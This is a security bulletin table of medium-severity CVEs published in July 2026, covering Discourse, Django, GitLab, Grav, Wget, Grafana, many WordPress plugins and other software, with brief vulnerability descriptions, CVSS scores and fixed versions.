| discourse--discourse                | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, the AWS SES bounce webhook at POST /webhooks/aws verified that SNS messages were signed by Amazon but did not bind them to trusted TopicArn values, allowing any AWS account holder to publish validly signed forged Bounce notifications that revoke a targeted user email. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                      | 2026-07-09 | 6.5        | <a href="#">CVE-2026-53961</a> |
| discourse--discourse                | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, EventSerializer could expose invited group names, sample invitees, and attendance statistics to users who could view the topic but were not entitled to view the private event invitee list. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                      | 2026-07-09 | 5.3        | <a href="#">CVE-2026-45780</a> |
| discourse--discourse                | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, insufficient SVG sanitization in upload and user avatar handling could lead to cross-site scripting when a user visited specific URLs that are not normally part of community browsing. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                           | 2026-07-09 | 5.4        | <a href="#">CVE-2026-53962</a> |
| discourse--discourse                | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, post revisions that should be hidden from regular users could be leaked through visible diffs on adjacent revisions serialized by PostRevisionSerializer. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                                                         | 2026-07-09 | 5.3        | <a href="#">CVE-2026-59828</a> |
| django--Django                      | An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. `DomainNameValidator` does not prohibit newlines in domain names (unless used via a form field, since `CharField` strips newlines). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because `HttpResponse` prohibits newlines in HTTP headers. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue. | 2026-07-07 | 6.1        | <a href="#">CVE-2026-53878</a> |
| django--Django                      | An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. `UpdateCacheMiddleware` and the `cache_page()` decorator cache responses that vary on cookies when the incoming request carries unrelated cookies, which allows remote attackers to read private data from the shared cache. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Chris Whyland for reporting this issue.                                                                                         | 2026-07-07 | 4.2        | <a href="#">CVE-2026-48588</a> |
| django--Django                      | An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. `django.contrib.gis.gdal.GDALRaster` over-reads its in-memory buffer when constructed from a bytes object, which can disclose adjacent memory or cause service degradation via a potential segmentation fault when the `vsi_buffer` property is accessed. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.                                                               | 2026-07-07 | 4.8        | <a href="#">CVE-2026-53877</a> |
| easyappointments--Easy Appointments | The Easy Appointments plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.12.27. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to cancel all upcoming appointments site-wide by marking every future appointment stored by the plugin as abandoned. The nonce required to authenticate the cancellation request is printed on the Appointments admin page, which is itself gated only by  | 2026-07-10 | 4.3        | <a href="#">CVE-2026-11992</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                 | the edit_posts capability that Authors possess, making the nonce readily accessible to low-privileged users.                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Eleveo--Call Recording Software | A vulnerability was detected in Eleveo Call Recording Software 9.7.0. The impacted element is an unknown function of the file /callrec/userAddAction.do. Performing a manipulation of the argument role results in improper authorization. It is possible to initiate the attack remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                        | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15373</a> |
| Eleveo--Call Recording Software | A flaw has been found in Eleveo Call Recording Software 9.7.0. This affects an unknown function of the file /callrec/roleAddAction.do of the component Group Interface. Executing a manipulation can lead to improper authorization. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                           | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15374</a> |
| Eleveo--Call Recording Software | A vulnerability was found in Eleveo Call Recording Software 9.7.0. Affected is an unknown function of the file /callrec/statisticReportAction.do. The manipulation results in improper authorization. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                               | 2026-07-10 | 6.3        | <a href="#">CVE-2026-15376</a> |
| Eleveo--Call Recording Software | A vulnerability was identified in Eleveo Call Recording Software 9.7.0. This issue affects some unknown processing of the file /callrec/restoreCallAction.do of the component Recorded Calls Page. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15473</a> |
| Eleveo--Call Recording Software | A vulnerability has been found in Eleveo Call Recording Software 9.7.0. This impacts an unknown function of the file /callrec/users_ldap.jsp of the component LDAP User Interface. The manipulation leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                     | 2026-07-10 | 4.3        | <a href="#">CVE-2026-15375</a> |
| Eleveo--Call Recording Software | A vulnerability was determined in Eleveo Call Recording Software 9.7.0. Affected by this vulnerability is an unknown functionality of the file /callrec/sendlogfile. This manipulation causes improper authorization. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.                                     | 2026-07-10 | 4.3        | <a href="#">CVE-2026-15377</a> |
| Eleveo--Call Recording Software | A vulnerability has been found in Eleveo Call Recording Software 9.7.0. Affected by this issue is some unknown functionality of the file /callrec/group.jsp. Such manipulation leads to improper authorization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                           | 2026-07-11 | 4.3        | <a href="#">CVE-2026-15470</a> |
| Eleveo--Call Recording Software | A vulnerability was found in Eleveo Call Recording Software 9.7.0. This affects an unknown part of the file /callrec/pci_dss_status.jsp. Performing a manipulation results in improper authorization. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                     | 2026-07-12 | 4.3        | <a href="#">CVE-2026-15471</a> |
| Eleveo--Call Recording Software | A vulnerability was determined in Eleveo Call Recording Software 9.7.0. This vulnerability affects unknown code of the file /callrec/composeEmailAction.do. Executing a manipulation can lead to improper authorization. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.                                   | 2026-07-12 | 4.3        | <a href="#">CVE-2026-15472</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Eleveo--Call Recording Software                 | A security flaw has been discovered in Eleveo Call Recording Software 9.7.0. Impacted is an unknown function of the file /callrec/audio.jsp of the component Call Recording Handler. The manipulation of the argument callId results in improper authorization. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.                                  | 2026-07-12 | 4.3        | <a href="#">CVE-2026-15474</a> |
| enquirer--enquirer                              | A security flaw has been discovered in enquirer up to 2.4.1. Affected is the function Enquirer.set of the component Public Package API. The manipulation of the argument question.name results in improperly controlled modification of object prototype attributes. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report.                                               | 2026-07-09 | 4.3        | <a href="#">CVE-2026-15187</a> |
| etcd-io--etcd                                   | etcd is a distributed key-value store for the data of a distributed system. Prior to 3.5.32 and 3.6.13, when etcd is configured with --listen-client-http-urls to split HTTP and gRPC client endpoints onto separate listeners, the --client-crl-file Certificate Revocation List is not enforced on the gRPC listener, allowing a client with a revoked certificate to authenticate successfully over gRPC. This issue is fixed in versions 3.5.32 and 3.6.13.                                         | 2026-07-08 | 6.5        | <a href="#">CVE-2026-59818</a> |
| fahadmahmood--Easy Upload Files During Checkout | The Easy Upload Files During Checkout plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 3.0.1. This is due to missing authorization checks in the ufdc_custom_init() function, which processes the 'eufdc-delete' parameter without any nonce verification, capability check, or attachment ownership validation. This makes it possible for unauthenticated attackers to permanently delete arbitrary media library attachments from the WordPress site. | 2026-07-10 | 5.3        | <a href="#">CVE-2026-6802</a>  |
| filebrowser--filebrowser                        | File Browser provides a web file managing interface. Prior to 2.63.16, ScopedFs validates the nearest existing ancestor of a dangling symlink as in scope and then follows the symlink during file creation, allowing an authenticated user with Create and Modify permissions to create attacker-controlled files outside the user's scope. This issue is fixed in version 2.63.16.                                                                                                                    | 2026-07-08 | 6.3        | <a href="#">CVE-2026-55668</a> |
| flask-dashboard--Flask-MonitoringDashboard      | A vulnerability has been found in flask-dashboard Flask-MonitoringDashboard up to 5.0.2. Affected by this issue is some unknown functionality. Such manipulation leads to cross-site request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                               | 2026-07-08 | 4.3        | <a href="#">CVE-2026-15034</a> |
| Flowise--Flowise                                | Flowise before 3.1.0 contains a path traversal vulnerability in Faiss and SimpleStore vector store implementations that accept unsanitized basePath parameters from authenticated users. Attackers with valid API tokens can write vector store data to arbitrary filesystem locations, potentially enabling code execution or data exfiltration.                                                                                                                                                       | 2026-07-08 | 6.5        | <a href="#">CVE-2026-56273</a> |
| Formbricks--Formbricks                          | A security vulnerability has been detected in Formbricks 5.0.0. This impacts an unknown function of the file apps/web/modules/survey/link/actions.ts of the component Survey Handler. The manipulation leads to improper access controls. Remote exploitation of the attack is possible. Upgrading to version 5.1.0-rc.1 will fix this issue. The identifier of the patch is af6023b5ac3b030ffcea24fac799f76f3e3512c6. You should upgrade the affected component.                                       | 2026-07-06 | 6.5        | <a href="#">CVE-2026-14792</a> |
| Foxit Software Inc.--Foxit PDF Editor           | The application opens the PDF, and JavaScript performs operations on the page and the document, causing the page-related objects within the application to lose synchronization; however, the renderer still trusts the outdated page count, and eventually the application crashes due to out-of-bounds access.                                                                                                                                                                                        | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57241</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Foxit Software Inc.--Foxit PDF Editor | During the process of page opening and form formatting, a JavaScript reentrancy results in an inconsistent document status. Subsequently, with outdated page information, the application attempts to access invalid addresses, causing the application to crash.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57243</a> |
| Foxit Software Inc.--Foxit PDF Editor | An abnormal image object causes the renderer to enter the wrong processing branch. When converting the scan lines, an invalid image buffer pointer is used, resulting in the application crashing.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57253</a> |
| Foxit Software Inc.--Foxit PDF Editor | The application opens a PDF containing an abnormal color space whose attributes reference a valid but semantically malformed function. The function's output is not validated; when subsequently read, it produces an illegal pointer that accesses an out-of-bounds region, crashing the application.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57255</a> |
| Foxit Software Inc.--Foxit PDF Editor | During the PRC parsing stage, there is a lack of boundary verification for the PRC entity index, which leads to an out-of-bounds read of the entity array. As a result, the application crashes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57257</a> |
| Foxit Software Inc.--Foxit PDF Editor | The PRC file header parsing logic trusts the constructed file structure description information, assumes that the underlying array contains elements and reads them, leading to out-of-bounds reads and application crashes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 6.1        | <a href="#">CVE-2026-57258</a> |
| Foxit Software Inc.--Foxit PDF Editor | The input file does not need to be strictly in a structurally valid PDF format. Instead, after reviewing the content, the original document disguised as a PDF will be sent to the parser. Malicious documents will construct malicious external entities that, through the protocol, point to local paths, thereby allowing access to any local files within the user's permission range.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 6.5        | <a href="#">CVE-2026-57259</a> |
| FreeRDP--FreeRDP                      | FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.28.0, FreeRDP server implementations with the MS-RDPECAM camera device enumerator channel enabled scan attacker-supplied DeviceName and VirtualChannelName fields for a NUL terminator in channels/rdpecam/server/camera_device_enumerator_main.c and then dereference once past the scan bound, allowing a malicious RDP client to trigger a 1- to 2-byte out-of-bounds heap read. This issue is fixed in version 3.28.0.                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 6.5        | <a href="#">CVE-2026-57157</a> |
| freshlabs--fresh Podcaster            | The fresh Podcaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'freshpodcaster' shortcode in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-11 | 6.4        | <a href="#">CVE-2026-1382</a>  |
| Gallagher--Command Centre Server      | An Incorrect Privilege Assignment (CWE-266) vulnerability in the Command Centre Server allows an authenticated operator with limited privileges to perform some operations that they would not normally be authorized to perform. Version of Command Centre affected: 9.50 prior to vEL9.50.1587(MR1), 9.40 prior to vEL9.40.3130(MR3), 9.30 prior to vEL9.30.3983(MR5), 9.20 prior to vEL9.20.4349(MR7), all versions of 9.10.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-07 | 5.3        | <a href="#">CVE-2026-26053</a> |
| gallerycreator--Simply Gallery        | The Simply Gallery Block & Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in all versions up to, and including, 3.3.3.2. This is due to insufficient input sanitization and output escaping on the sliderMaxHeight block attribute in the pgc_sgb_render_callback() function. The vulnerability exists because the pgc_sgb_sanitize_custom_css() function uses a flawed regex pattern that only removes event handlers with quoted values (e.g., onfocus="alert()") but fails to catch unquoted event handlers (e.g., onfocus=alert(document.cookie)), allowing the malicious code to bypass sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via block attributes that will execute whenever a user accesses an injected page. | 2026-07-11 | 6.4        | <a href="#">CVE-2026-5743</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| gamaup--Blocks for ACF Fields Display Custom Fields in the Block Editor | The Blocks for ACF Fields plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the <code>get_all_values()</code> function in the <code>/wp-json/acf-field-blocks/v1/values</code> REST endpoint in versions up to, and including, 1.6.2. The <code>permission_callback</code> only verifies the generic <code>publish_posts</code> capability and the handler passes a user-supplied <code>id</code> parameter directly to <code>get_field_objects()</code> without verifying that the requesting user is authorized to read the target object. This makes it possible for authenticated attackers, with Author-level access and above, to read ACF field values from arbitrary posts (including private posts, drafts, posts by other users, and other ACF-supported objects) that they should not have access to.                                          | 2026-07-09 | 6.5        | <a href="#">CVE-2026-12428</a> |
| gchcq--CyberChef                                                        | CyberChef is a web app for encryption, encoding, compression, and data analysis. Prior to 11.2.0, the Series Chart operation accepts <code>__proto__</code> as a key while parsing user-supplied CSV, allowing prototype pollution that can be chained with operations such as Parse UDP to inject malicious JavaScript into HTML output. This issue is fixed in version 11.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 5          | <a href="#">CVE-2026-57439</a> |
| getgrav--grav                                                           | Grav is a file-based Web platform. Prior to 1.7.53, an authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including <code>user/accounts/admin.yaml</code> with the administrator password hash and <code>user/config</code> with site configuration, through the backup download endpoint protected only by the session-static <code>admin-nonce</code> URL parameter. This issue is reported as fixed in version 1.7.53.                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 6.8        | <a href="#">CVE-2026-55885</a> |
| getgrav--grav                                                           | Grav before 2.0.2 contains a Twig sandbox bypass that allows a page author (any <code>admin.pages</code> user, or anyone able to write to <code>user/pages</code> ) to exfiltrate configuration secrets. Although the sandbox replaces the <code>'config'</code> variable with a redacted facade and strips <code>Config::get/toArray</code> from the method allowlist, the raw container remains accessible via the allow-listed <code>grav.offsetGet('config')</code> , which returns the real <code>Config</code> object. Allow-listed object-dumping filters ( <code>json_encode</code> , <code>print_r</code> , <code>yaml_encode</code> ) then serialize that object at the PHP level without invoking the sandbox method gate, exposing the full config tree including plugin secrets such as SMTP credentials, API keys, and plugin DB credentials. This is an incomplete fix for GHSA-j274-39qw-32c9. | 2026-07-10 | 6.5        | <a href="#">CVE-2026-61450</a> |
| getgrav--grav                                                           | Grav before 2.0.1 contains a decompression bomb vulnerability in <code>ZipArchiver::extract()</code> that lacks limits on uncompressed size, file count, and nesting depth. Attackers can supply a crafted ZIP archive that expands to fill available disk space, causing denial of service by exhausting storage resources.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 6.5        | <a href="#">CVE-2026-61455</a> |
| getgrav--grav                                                           | The Grav Admin2 plugin ( <code>getgrav/grav-plugin-admin2</code> ) before 2.0.4 embeds a global JavaScript variable <code>window.__GRAV_CONFIG__</code> in the Admin2 SPA bootstrap page at <code>/grav/admin</code> (and its subroutes). This object is returned in every unauthenticated response and discloses the server URL, API prefix, admin base path, runtime environment type, and exact Grav and Admin2 version numbers, allowing an unauthenticated attacker to fingerprint the deployment and select version-specific exploits without reconnaissance.                                                                                                                                                                                                                                                                                                                                            | 2026-07-11 | 5.3        | <a href="#">CVE-2026-61454</a> |
| getgrav--grav                                                           | Grav is a file-based Web platform. Prior to 2.0.0-rc.9, Grav's incomplete fix for stored XSS through the Markdown media attribute action (CVE-2026-42841) leaves the sibling <code>MediaObjectTrait::style</code> method reachable through the same Markdown excerpt-action pipeline, allowing an editor to save Markdown image style parameters that are written into the rendered <code>img</code> style attribute without sanitization. This issue is fixed in version 2.0.0-rc.9.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 4.8        | <a href="#">CVE-2026-55890</a> |
| getgrav--grav                                                           | The Grav API plugin ( <code>getgrav/grav-plugin-api</code> ) before 1.0.3 fails to sanitize SVG files uploaded through the <code>POST /api/v1/media</code> endpoint. The <code>HandlesMediaUploads::processUploadedFile()</code> method validates only the file extension and never invokes <code>Security::sanitizeSVG()</code> , so an authenticated attacker with the <code>api.media.write</code> permission can upload an SVG containing arbitrary JavaScript. The file is stored unmodified and served with <code>Content-Type:</code>                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 4.6        | <a href="#">CVE-2026-61456</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                            | image/svg+xml; when an administrator opens it in a browser (directly or via <object>/<iframe>), the embedded script executes in their session context, enabling cookie theft and session hijacking.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| getwpfunnels--Mail Mint Email Marketing, Newsletter, Email Automation & WooCommerce Emails | The Mail Mint - Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to generic SQL Injection via the 'recipients' parameter in all versions up to, and including, 1.24.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order SQL injection: the malicious payload is first stored unsanitized via a POST request to /mrm/v1/campaigns/ (bypassing filter_recipients() validation because an int-cast of a string like '1' OR ... evaluates to a real numeric ID), and is then triggered by a subsequent GET request to /mrm/v1/campaigns/{id} that deserializes the recipients and passes the raw id string through array_column() into the vulnerable query. | 2026-07-10 | 4.9        | <a href="#">CVE-2026-12918</a> |
| getwpfunnels--Mail Mint Email Marketing, Newsletter, Email Automation & WooCommerce Emails | The Mail Mint - Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to time-based SQL Injection via the 'contact_ids' parameter in all versions up to, and including, 1.24.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 4.9        | <a href="#">CVE-2026-14342</a> |
| getwpfunnels--WPFunnels Funnel Builder for WooCommerce with Checkout & One Click Upsell    | The WPFunnels - Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.12.7 via the 'logKey' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 6.6        | <a href="#">CVE-2026-13080</a> |
| Ghostfolio--Ghostfolio                                                                     | Ghostfolio's PUT /api/v1/portfolio/holding/:dataSource/:symbol/tags endpoint fails to verify Access.permissions field when processing the Impersonation-Id header, allowing read-only access grantees to modify portfolio holding tags. Attackers with valid read-only share tokens can assign or remove tags on victim holdings, corrupting portfolio categorization and reports.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-07 | 4.3        | <a href="#">CVE-2026-59709</a> |
| GitLab--GitLab                                                                             | GitLab has remediated an issue in GitLab EE affecting all versions from 9.5 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to obtain another user's stored credentials due to improper authorization controls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 4.9        | <a href="#">CVE-2026-11827</a> |
| GitLab--GitLab                                                                             | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 9.1 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an unauthenticated user to determine the existence of a private project due to improper authorization controls on cross-project reference pages.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 4.3        | <a href="#">CVE-2026-7492</a>  |
| GitLab--GitLab                                                                             | GitLab has remediated an issue in GitLab EE affecting all versions from 18.9 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with minimal access permissions to read work item metadata from private projects due to missing authorization checks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 4.3        | <a href="#">CVE-2026-8472</a>  |
| GNU--LibreDWG                                                                              | A vulnerability has been found in GNU LibreDWG up to 0.13.4. The affected element is the function dwg_bmp of the file src/dwg.c of the component BMP Image Handler. Such manipulation leads to heap-based buffer overflow. The attack                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 5.3        | <a href="#">CVE-2026-15182</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | must be carried out locally. The exploit has been disclosed to the public and may be used. Upgrading to version 0.14 is sufficient to fix this issue. The name of the patch is 18fd542bb4d5ccedf9de12052bf50068b2b26f06. It is suggested to upgrade the affected component.                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| gnuwget--wget             | GNU Wget through 1.25.0, fixed in commit 43d3ba9, contains an integer overflow vulnerability in the parse_content_range() function within src/http.c that allows server-controlled values to cause signed integer arithmetic to overflow. Attackers can supply malicious Content-Range header values to trigger undefined behavior and download desynchronization in the affected client.                                                                                                                                                                                                                                                                                 | 2026-07-07 | 5.3        | <a href="#">CVE-2026-58470</a> |
| gnuwget--wget             | GNU Wget through 1.25.0, fixed in commit c2640fe, contains a heap buffer overflow vulnerability in the convert_fname() function within src/url.c that allows remote attackers to trigger memory corruption through a server-supplied filename requiring character set conversion. When the output buffer is too small during iconv E2BIG reallocation, the reallocation logic miscalculates the remaining space, leading to a heap buffer overflow that can be exploited via a maliciously crafted server response.                                                                                                                                                       | 2026-07-07 | 5.9        | <a href="#">CVE-2026-58471</a> |
| gnuwget--wget             | GNU Wget through 1.25.0, fixed in commit dd692d9, contains a heap buffer overflow vulnerability in the html_quote_string() function in src/convert.c that allows a remote attacker to trigger memory corruption by supplying a crafted HTML attribute with a large number of characters requiring entity encoding. A server-supplied HTML attribute causes a signed integer counter to overflow during output size accumulation, resulting in an undersized heap allocation and subsequent heap buffer overflow during the copy phase.                                                                                                                                    | 2026-07-07 | 5.9        | <a href="#">CVE-2026-58472</a> |
| gofiber--fiber            | Fiber is an Express inspired web framework written in Go. Prior to 3.3.0, the default Authorizer function in the BasicAuth middleware in middleware/basicauth/config.go uses short-circuit evaluation that skips password hash comparison for non-existent usernames, enabling reliable remote username enumeration through response timing differences. This issue is fixed in version 3.3.0.                                                                                                                                                                                                                                                                            | 2026-07-08 | 5.3        | <a href="#">CVE-2026-44332</a> |
| gofiber--fiber            | Fiber is an Express inspired web framework written in Go. Prior to 3.3.0 and 2.52.14, the BalancerForward proxy helper in middleware/proxy/proxy.go uses Header.Add() instead of Header.Set() when injecting X-Real-IP, allowing an attacker-supplied first X-Real-IP value to be forwarded to upstream servers for logging, rate limiting, and access control. This issue is fixed in version 3.3.0 and 2.52.14.                                                                                                                                                                                                                                                         | 2026-07-08 | 5.3        | <a href="#">CVE-2026-45045</a> |
| gofiber--fiber            | Fiber is an Express inspired web framework written in Go. Prior to 3.4.0, the helmet middleware in middleware/helmet/helmet.go never sets the Strict-Transport-Security response header even when HSTSMaxAge is configured because it checks c.Protocol() for https instead of c.Scheme(). This issue is fixed in version 3.4.0.                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 4.8        | <a href="#">CVE-2026-53624</a> |
| Grafana--Grafana OSS      | A user with Editor permissions can craft a dashboard whose table (TableNG) panel contains a malicious field name that executes as a script in the browser of any user who views the dashboard (stored cross-site scripting).                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 6.8        | <a href="#">CVE-2026-8595</a>  |
| Grafana--Grafana OSS      | An unauthenticated attacker can repeatedly call Grafana's OAuth login route with unique values, causing unbounded memory growth that can eventually exhaust memory and crash the Grafana instance (denial of service).                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-10 | 5.3        | <a href="#">CVE-2026-8609</a>  |
